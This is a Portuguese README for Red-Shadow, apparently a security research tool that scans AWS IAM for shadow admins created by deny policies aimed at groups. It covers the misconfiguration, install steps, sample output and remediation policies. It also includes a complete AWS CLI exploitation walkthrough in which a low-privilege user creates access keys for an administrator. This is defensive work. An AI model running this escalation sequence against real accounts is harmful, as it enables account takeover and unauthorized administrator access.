
Escaneia configurações de IAM da AWS em busca de shadow admins, detectando políticas de negação mal configuradas que não restringem ações de usuários em grupos, permitindo detecção e remediação de escalonamento de privilégios.
Examine sua Configuração AWS IAM em busca de administradores ocultos no AWS IAM com base em políticas de negação mal configuradas que não afetam usuários em grupos, descoberto pela Equipe de Pesquisa de Segurança da Lightspin.
A ferramenta detecta as configurações incorretas nos seguintes Objetos IAM:
A lógica de avaliação do AWS IAM para políticas de negação aplicadas a grupos não funciona da mesma forma que a maioria dos engenheiros de segurança pode estar acostumada com outros mecanismos de autorização.
Suponha que uma política com um recurso de grupo tenha uma negação explícita. Nesse caso, isso afetará apenas as ações do grupo e não as ações do usuário, abrindo as organizações para má configuração e vulnerabilidades se elas assumirem que o processo é o mesmo que com o Active Directory, por exemplo.
Exemplo de política json vulnerável:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
Neste exemplo, a política deve negar qualquer ação do IAM feita por usuários, grupos ou funções com essa política anexada, em relação ao grupo chamado managers.
O fato é que uma ação simples do IAM como iam:ChangePassword funcionaria, pois a política de negação é ineficaz.
Link para o blog completo da pesquisa de segurança
O AWS IAM tem uma clara separação entre ações de objetos de usuário e ações de objetos de grupo.
A lista a seguir inclui as ações de objetos de usuário que a ferramenta está verificando em políticas de negação que afetam grupos (além de curinga):
AWS_USER_ACTIONS = ["iam:CreateUser",
"iam:GetUser",
"iam:UpdateUser",
"iam:DeleteUser",
"iam:GetUserPolicy",
"iam:PutUserPolicy",
"iam:DeleteUserPolicy",
"iam:ListUserPolicies",
"iam:AttachUserPolicy",
"iam:DetachUserPolicy",
"iam:ListAttachedUserPolicies",
"iam:SimulatePrincipalPolicy",
"iam:GetContextKeysForPrincipalPolicy",
"iam:TagUser",
"iam:UpdateSSHPublicKey",
"iam:UntagUser",
"iam:GetSSHPublicKey",
"iam:ListUserTags",
"iam:DeleteSSHPublicKey",
"iam:GetLoginProfile",
"iam:GetAccessKeyLastUsed",
"iam:UpdateLoginProfile",
"iam:UploadSigningCertificate",
"iam:DeleteLoginProfile",
"iam:ListSigningCertificates",
"iam:CreateLoginProfile",
"iam:UpdateSigningCertificate",
"iam:EnableMFADevice",
"iam:DeleteSigningCertificate",
"iam:ResyncMFADevice",
"iam:ListServiceSpecificCredentials",
"iam:ListMFADevices",
"iam:ResetServiceSpecificCredential",
"iam:DeactivateMFADevice",
"iam:CreateServiceSpecificCredential",
"iam:ChangePassword",
"iam:UpdateServiceSpecificCredential",
"iam:CreateAccessKey",
"iam:DeleteServiceSpecificCredential",
"iam:ListAccessKeys",
"iam:PutUserPermissionsBoundary",
"iam:UpdateAccessKey",
"iam:DeleteUserPermissionsBoundary",
"iam:DeleteAccessKey",
"iam:ListGroupsForUser",
"iam:ListSSHPublicKeys",
"iam:UploadSSHPublicKey"]
Muitas das ações de objetos de usuário mencionadas acima podem facilmente levar a uma escalada de privilégios ou comprometimento da conta, como redefinir a senha do administrador, desativar o MFA da conta raiz e mais.
Red-Shadow é construído com Python 3 e Boto3.
A ferramenta requer:
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt
python3 red-shadow.py
Os resultados descobrem qualquer objeto IAM que esteja vulnerável a tal bypass de autorização na AWS.
Exemplo de saída de resultados:
++ Starting Red-Shadow ++
++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups
Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done
Nesta saída do console, podemos ver que nossa política de negação ProtectManagers é ineficaz e vulnerável a ataques como escalada de privilégios mencionada acima.
Para validar a Vulnerabilidade IAM e executar a exploração, você pode executar o seguinte fluxo:
aws iam create-group --group-name managersaws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccessaws iam create-user --user-name JohnAdminaws iam add-user-to-group --user-name JohnAdmin --group-name managers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.jsonaws iam create-group --group-name backend-devaws iam create-user --user-name BobAttackeraws iam add-user-to-group --user-name BobAttacker --group-name backend-devaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "iam:CreateAccessKey",
"Resource": "*"
}
]
}
aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.jsonaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeysaws iam list-attached-group-policies --group backend-devaws iam create-access-key --user-name BobAttackerVamos explorar a vulnerabilidade usando:
aws iam create-access-key --user-name JohnAdmin --profile BobAttacker
Escalada de Privilégios Completa!
Depois de encontrar as políticas vulneráveis ao bypass de autorização, existem duas maneiras possíveis de remediar a vulnerabilidade e corrigir a política:
OPÇÃO 1: Defina todos os usuários relevantes no campo resource em vez de grupos para evitar ações ineficazes do IAM e negar todas as ações do grupo, como no exemplo a seguir:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenySpecificUserActions",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": [
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]"
]
},
{
"Sid": "DenyAllGroupActions",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
OPÇÃO 2: Use condição na política com iam:ResourceTag no lugar, como no exemplo a seguir:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"ForAnyValue:StringEquals": {
"iam:ResourceTag/group": "managers"
}
}
}
]
}
Esta pesquisa foi realizada pela Equipe de Pesquisa de Segurança da Lightspin. Para mais informações, entre em contato conosco pelo e-mail [email protected].
Este repositório está disponível sob a Apache License 2.0.